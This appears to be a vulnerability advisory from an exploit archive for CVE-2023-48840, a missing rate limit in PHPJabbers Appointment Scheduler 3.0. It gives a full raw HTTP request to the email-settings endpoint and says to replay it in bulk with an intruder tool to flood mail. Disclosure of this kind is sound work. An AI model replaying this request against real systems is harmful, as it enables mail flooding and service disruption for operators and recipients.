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PHPJabbers Appointment Scheduler 3.0 Missing Rate Limiting

PHPJabbers Appointment Scheduler 3.0 Missing Rate Limiting
Posted Dec 4, 2023
Authored by Rahad Chowdhury, BugsBD Limited

PHPJabbers Appointment Scheduler version 3.0 suffers from a missing rate limiting control that can allow for resource exhaustion.

tags | exploit
advisories | CVE-2023-48840
SHA-256 | c4139915e46fef357730abad6be1bb960a85b529ac04b96475adeb2dae8eea93

PHPJabbers Appointment Scheduler 3.0 Missing Rate Limiting

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# Exploit Title: PHPJabbers Apointment Scheduler v3.0 - No Rate Limit in Email
# Date: 19/11/2023
# Exploit Author: BugsBD Limited
# Discover by: Rahad Chowdhury
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/appointment-scheduler/
# Version: v3.0
# Tested on: Windows 10, Windows 11, Linux
# CVE-2023-48840

Descriptions:
PHPJabbers Apointment Scheduler v3.0 is vulnerable to Rate limiting.
Rate limiting is implemented in web applications and APIs to prevent
abuse, such as brute-force attacks or excessive requests that could
lead to resource exhaustion. When a rate limit is bypassed or not
properly enforced, it opens the door for attackers to carry out
malicious activities more quickly than intended, potentially leading
to unauthorized access, data breaches, or service disruption.

Steps to Reproduce:

1. Request Data:

POST /1701529051_590/index.php?controller=pjBaseOptions&action=pjActionAjaxSend
HTTP/1.1
Host: demo.phpjabbers.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 426
Origin: https://demo.phpjabbers.com
Referer: https://demo.phpjabbers.com/1701529051_590/index.php?controller=pjBaseOptions&action=pjActionEmailSettings
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

options_update=1&next_action=pjActionEmailSettings&email=test1%40test.com&value-enum-o_send_email=mail%7Csmtp%3A%3Amail&value-string-o_smtp_host=&value-int-o_smtp_port=25&value-string-o_smtp_user=&value-string-o_smtp_pass=&value-enum-o_smtp_secure=none%7Cssl%7Ctls%3A%3Anone&value-enum-o_smtp_auth=LOGIN%7CPLAIN%3A%3ALOGIN&value-string-o_smtp_sender=&value-string-o_sender_email=test%40test.com&value-string-o_sender_name=Test

2. Send it to intruder and configure then Start Attack and check mail.


## Reproduce:
[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48840)
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